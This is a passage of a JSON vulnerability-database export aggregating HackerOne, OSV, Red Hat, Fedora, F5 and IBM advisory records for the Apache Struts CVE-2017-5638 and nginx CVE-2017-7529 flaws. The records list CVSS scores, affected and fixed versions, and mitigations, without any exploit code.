"AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-07-03T18:23:05", "id": "H1:212985", "href": "https://hackerone.com/reports/212985", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-01T01:06:10", "bounty": 0.0, "description": "A remote code execution (RCE) vulnerability was found on a DoD website which could have enabled an attacker to execute remote commands on the web server. @0daystolive and @dly were able to demonstrate this vulnerability by developing a custom script that caused the webserver to execute a benign command. This was a very clever demonstration. Thank you!", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-09T17:59:08", "type": "hackerone", "title": "U.S. Dept Of Defense: Remote Code Execution (RCE) in a DoD website", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-06-01T14:48:16", "id": "H1:212022", "href": "https://hackerone.com/reports/212022", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "osv": [{"lastseen": "2022-08-05T05:18:05", "description": "\nIt was discovered that there was vulnerability in the range filter of nginx, a\nweb/proxy server. A specially crafted request might result in an integer\noverflow and incorrect processing of HTTP ranges, potentially resulting in a\nsensitive information leak.\n\n\nFor Debian 7 Wheezy, this issue has been fixed in nginx version\n1.2.1-2.2+wheezy4+deb7u1.\n\n\nWe recommend that you upgrade your nginx packages.\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2017-07-13T00:00:00", "type": "osv", "title": "nginx - security update", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2022-08-05T05:17:57", "id": "OSV:DLA-1024-1", "href": "https://osv.dev/vulnerability/DLA-1024-1", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-04-11T01:22:28", "description": "Apache Struts versions prior to 2.3.32 and 2.5.10.1 contain incorrect exception handling and error-message generation during file-upload attempts using the Jakarta Multipart parser, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-10-18T19:24:26", "type": "osv", "title": "Apache Struts vulnerable to remote arbitrary command execution due to improper input validation", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2023-04-11T01:22:23", "id": "OSV:GHSA-J77Q-2QQG-6989", "href": "https://osv.dev/vulnerability/GHSA-j77q-2qqg-6989", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "redhat": [{"lastseen": "2023-08-04T12:29:22", "description": "Nginx is a web server and a reverse proxy server for HTTP, SMTP, POP3 and IMAP protocols, with a strong focus on high concurrency, performance and low memory usage.\n\nSecurity Fix(es):\n\n* A flaw within the processing of ranged HTTP requests has been discovered in the range filter module of nginx. A remote attacker could possibly exploit this flaw to disclose parts of the cache file header, or, if used in combination with third party modules, disclose potentially sensitive memory by sending specially crafted HTTP requests. (CVE-2017-7529)\n\nRed Hat would like to thank the Nginx project for reporting this issue.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-08-28T21:33:36", "type": "redhat", "title": "(RHSA-2017:2538) Low: rh-nginx110-nginx security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2018-06-12T21:28:19", "id": "RHSA-2017:2538", "href": "https://access.redhat.com/errata/RHSA-2017:2538", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "fedora": [{"lastseen": "2020-12-21T08:17:54", "description": "Nginx is a web server and a reverse proxy server for HTTP, SMTP, POP3 and IMAP protocols, with a strong focus on high concurrency, performance and low memory usage. ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2017-08-24T00:55:09", "type": "fedora", "title": "[SECURITY] Fedora 25 Update: nginx-1.12.1-1.fc25", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-08-24T00:55:09", "id": "FEDORA:2DC67604CCE7", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/S6OTYBFDQFR6O5HTQN7CD3BVC4S5HUU7/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2020-12-21T08:17:54", "description": "Nginx is a web server and a reverse proxy server for HTTP, SMTP, POP3 and IMAP protocols, with a strong focus on high concurrency, performance and low memory usage. ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2017-08-23T19:56:04", "type": "fedora", "title": "[SECURITY] Fedora 26 Update: nginx-1.12.1-1.fc26", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-08-23T19:56:04", "id": "FEDORA:EAEA96098DD6", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/LR6BHWYQOUY6WIM35HHUOKRWRQMDDARA/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "f5": [{"lastseen": "2017-08-28T23:15:46", "description": "\nF5 Product Development has assigned ID 675465 (BIG-IQ) and ID 677149 (F5 iWorkflow) to this vulnerability. Additionally, [BIG-IP iHealth](<http://www.f5.com/support/support-tools/big-ip-ihealth/>) may list Heuristic H48602933 on the **Diagnostics** > **Identified** > **Medium** screen.\n\nTo determine if your release is known to be vulnerable, the components or features that are affected by the vulnerability, and for information about releases or hotfixes that address the vulnerability, refer to the following table:\n\nProduct | Versions known to be vulnerable | Versions known to be not vulnerable | Severity | Vulnerable component or feature \n---|---|---|---|--- \nBIG-IP LTM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.1 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP AAM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.1 - 11.6.1 | Not vulnerable | None \nBIG-IP AFM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.1 - 11.6.1 | Not vulnerable | None \nBIG-IP Analytics | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.1 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP APM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.1 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP ASM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.1 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP DNS | None | 13.0.0 \n12.0.0 - 12.1.2 | Not vulnerable | None \nBIG-IP Edge Gateway | None | 11.2.1 | Not vulnerable | None \nBIG-IP GTM | None | 11.4.1 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP Link Controller | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.1 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP PEM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.1 - 11.6.1 | Not vulnerable | None \nBIG-IP PSM | None | 11.4.1 | Not vulnerable | None \nBIG-IP WebAccelerator | None | 11.2.1 | Not vulnerable | None \nBIG-IP WebSafe | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.6.0 - 11.6.1 | Not vulnerable | None \nARX | None | 6.2.0 - 6.4.0 | Not vulnerable | None \nEnterprise Manager | None | 3.1.1 | Not vulnerable | None \nBIG-IQ Cloud | 4.4.0 - 4.5.0 | None | Medium | nginx (webd) \nBIG-IQ Device | 4.4.0 - 4.5.0 | None | Medium | nginx (webd) \nBIG-IQ Security | 4.4.0 - 4.5.0 | None | Medium | nginx (webd) \nBIG-IQ ADC | 4.5.0 | None | Medium | nginx (webd) \nBIG-IQ Centralized Management | 5.0.0 - 5.3.0 \n4.6.0 | None | Medium | nginx (webd) \nBIG-IQ Cloud and Orchestration | 1.0.0 | None | Medium | nginx (webd) \nF5 iWorkflow | 2.0.0 - 2.2.0 | None | Medium | nginx (webd) \nLineRate | None | 2.5.0 - 2.6.2 | Not vulnerable | None \nTraffix SDC | None | 5.0.0 - 5.1.0 \n4.0.0 - 4.4.0 | Not vulnerable | None\n\nIf you are running a version listed in the **Versions known to be vulnerable** column, you can eliminate this vulnerability by upgrading to a version listed in the **Versions known to be not vulnerable** column. If the table lists only an older version than what you are currently running, or does not list a non-vulnerable version, then no upgrade candidate currently exists.\n\nTo determine the necessary upgrade path for your BIG-IQ system, you should understand the BIG-IQ product offering name changes. For more information, refer to [K21232150: Considerations for upgrading BIG-IQ or F5 iWorkflow systems](<https://support.f5.com/csp/article/K21232150>).\n\nMitigation\n\nNone\n\n * [K9970: Subscribing to email notifications regarding F5 products](<https://support.f5.com/csp/article/K9970>)\n * [K9957: Creating a custom RSS feed to view new and updated documents](<https://support.f5.com/csp/article/K9957>)\n * [K4602: Overview of the F5 security vulnerability response policy](<https://support.f5.com/csp/article/K4602>)\n * [K4918: Overview of the F5 critical issue hotfix policy](<https://support.f5.com/csp/article/K4918>)\n * [K167: Downloading software and firmware from F5](<https://support.f5.com/csp/article/K167>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2017-08-08T01:16:00", "type": "f5", "title": "Nginx vulnerability CVE-2017-7529", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-08-22T17:33:00", "id": "F5:K48602933", "href": "https://support.f5.com/csp/article/K48602933", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}, {"lastseen": "2023-06-24T12:56:14", "description": "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string. ([CVE-2017-5638](<https://vulners.com/cve/CVE-2017-5638>))\n\nImpact\n\nThere is no impact; F5 products are not affected by this vulnerability.\n\n**Note**: For information about using an iRule to protect your web servers behind the BIG-IP virtual server, refer to the **Security Advisory Recommended Actions** section.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-09T20:36:00", "type": "f5", "title": "Apache Struts 2 vulnerability CVE-2017-5638", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2022-02-14T17:54:00", "id": "F5:K43451236", "href": "https://support.f5.com/csp/article/K43451236", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ibm": [{"lastseen": "2023-02-21T21:51:41", "description": "## Summary\n\nPowerKVM is affected by a vulnerability in nginx. IBM has now addressed this vulnerability.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-7529_](<https://vulners.com/cve/CVE-2017-7529>)** \nDESCRIPTION:** Nginx could allow a remote attacker to obtain sensitive information, caused by an integer overflow in Nginx range filter module. By sending specially-crafted request, a remote attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base Score: 5.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/128674_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/128674>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\n## Affected Products and Versions\n\nPowerKVM 3.1\n\n## Remediation/Fixes\n\nCustomers can update PowerKVM systems by using \"yum update\". \n\nFix images are made available via Fix Central. For version 3.1, see [_https://ibm.biz/BdHggw_](<https://ibm.biz/BdHggw>). This issue is addressed starting with v3.1.0.2 update 11.\n\n## Workarounds and Mitigations\n\nnone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2018-06-18T01:38:45", "type": "ibm", "title": "Security Bulletin: A vulnerability in nginx affects PowerKVM", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2018-06-18T01:38:45", "id": "5CB7B4557DF81B61016452CDDA6B8C2940D1F7774048AC1A287BA44AC950F3D6", "href": "https://www.ibm.com/support/pages/node/632501", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-02-21T01:53:09", "description": "## Summary\n\nAspera Applications has addressed the following vulnerability: Nginx could allow a remote attacker to obtain sensitive information caused by an integer overflow in nginx range filter mode.\n\n## Vulnerability Details\n\n**CVEID:** [CVE-2017-7529](<https://vulners.com/cve/CVE-2017-7529>) \n**DESCRIPTION: **Nginx could allow a remote attacker to obtain sensitive information, caused by an integer overflow in nginx range filter module. By sending specially-crafted requet, a remote attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base Score: 5.3 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/128674> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\n## Affected Products and Versions\n\n**Affected Aspera Applications**\n\n| **Affected Versions** \n---|--- \nShares| 1.9.10 and prior \nProxy| 1.4.1 and prior \nFiles| 0.0.0 \n \n\n\n## Remediation/Fixes\n\n**Product**\n\n| **VRMF**| **Remediation / First Fix** \n---|---|--- \nShares| 1.9.11 or higher| <http://downloads.asperasoft.com/en/downloads/34> \nProxy| 1.4.2 or higher| ETA - 1/15/2018 \nFiles| 0.0.0| Fixed as of 9/7/2017 \n \n\n\n## Workarounds and Mitigations\n\n_To mitigate the issue in an affected version, add the following setting in the nginx configuration file. Reference _[_http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html_](<http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html>)_ for more information. _ \nmax_ranges 1;\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2018-06-15T07:08:32", "type": "ibm", "title": "Security Bulletin: Aspera Applications are affected by a Nginx vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2018-06-15T07:08:32", "id": "17C115EF321C8218815D4DC127DA7DEF1126A607ADF659E9296C174082C13C6B", "href": "https://www.ibm.com/support/pages/node/300579", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-02-12T17:33:37", "description": "## Question\n\nSecurity Bulletin: Aspera Applications are affected by a Nginx vulnerability\n\n## Answer\n\n## **Security Bulletin**\n\n## **Summary**\n\nAspera Applications has addressed the following vulnerability: Nginx could allow a remote attacker to obtain sensitive information caused by an integer overflow in nginx range filter mode.\n\n## **Vulnerability Details**\n\n**CVEID:**[CVE-2017-7529](<https://vulners.com/cve/CVE-2017-7529\">) \n**DESCRIPTION:**Nginx could allow a remote attacker to obtain sensitive information caused by an integer overflow in nginx range filter module. By sending specially-crafted requet a remote attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base Score: 5.3 \nCVSS Temporal Score: See<https://exchange.xforce.ibmcloud.com/vulnerabilities/128674>for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\n## **Affected Products and Versions**\n\n**Affected Aspera Applications**\n\n| \n\n**Affected Versions** \n \n---|--- \n \nShares\n\n| \n\n1.9.10 and prior \n \nProxy\n\n| \n\n1.4.1 and prior \n \nFiles\n\n| \n\n0.0.0 \n \n## **Remediation/Fixes**\n\n**Product**\n\n| \n\n**VRMF**\n\n| \n\n**Remediation / First Fix** \n \n---|---|--- \n \nShares\n\n| \n\n1.9.11 or higher\n\n| \n\n<http://downloads.asperasoft.com/en/downloads/34> \n \nProxy\n\n| \n\n1.4.2 or higher\n\n| \n\nETA - 1/15/2018 \n \nFiles\n\n| \n\n0.0.0\n\n| \n\nFixed as of 9/7/2017 \n \n## **Workarounds and Mitigations**\n\n_To mitigate the issue in an affected version add the following setting in the nginx configuration file. Reference <http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html> for more information._ \n \nmax_ranges 1;\n\n## **References**\n\n_[Complete CVSS v3 Guide](<http://www.first.org/cvss/user-guide>)_\n\n_[On-line Calculator v3](<http://www.first.org/cvss/calculator/3.0>)_\n\n## **Related Information**\n\n_[IBM Secure Engineering Web Portal](<http://www.ibm.com/security/secure-engineering/bulletins.html>)_ \n_[IBM Product Security Incident Response Blog](<http://www.ibm.com/blogs/PSIRT>)_\n\n## **Change History**\n\n29 September 2017: Original version published\n\n_*_The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.\n\n## **Disclaimer**\n\nAccording to the Forum of Incident Response and Security Teams (FIRST) the Common Vulnerability Scoring System (CVSS) is an \"industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response.\" IBM PROVIDES THE CVSS SCORES \"AS IS\" WITHOUT WARRANTY OF ANY KIND INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY.\n\n[{\"Business Unit\":{\"code\":\"BU053\",\"label\":\"Cloud & Data Platform\"},\"Product\":{\"code\":\"SS8NDZ\",\"label\":\"IBM Aspera\"},\"Component\":\"\",\"Platform\":[{\"code\":\"PF025\",\"label\":\"Platform Independent\"}],\"Version\":\"All Versions\",\"Edition\":\"\",\"Line of Business\":{\"code\":\"LOB45\",\"label\":\"Automation\"}}]", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2018-12-08T04:55:34", "type": "ibm", "title": "Security Bulletin: Aspera Applications are affected by a Nginx vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2018-12-08T04:55:34", "id": "23C34364598CF27FC35639889089CB24B7474D1BA42F9B7E6AABA469FD07D653", "href": "https://www.ibm.com/support/pages/node/746005", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-02-21T05:52:33", "description": "## Summary\n\nIBM Sterling Order Management use Apache Struts 2 and is affected by some of the vulnerabilities that exist in Apache Struts 2\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nIBM Sterling Selling and Fulfillment Foundation 9.1.0 \nIBM Sterling Selling and Fulfillment Foundation 9.2.0 \nIBM Sterling Selling and Fulfillment Foundation 9.2.1 \nIBM Sterling Selling and Fulfillment Foundation 9.3.0 \nIBM Sterling Selling and Fulfillment Foundation 9.4.0 \nIBM Sterling Selling and Fulfillment Foundation 9.5.0\n\n## Remediation/Fixes\n\nThe recommended solution is to apply the security fix pack (SFP) as soon as practical. Please see below for information about the available fixes. \n\n**_Product_**| **_Security Fix Pack*_**| _Remediation/First Fix_ \n---|---|--- \nIBM Sterling Selling and Fulfillment Foundation 9.5.0| **_9.5.0-SFP2_**| 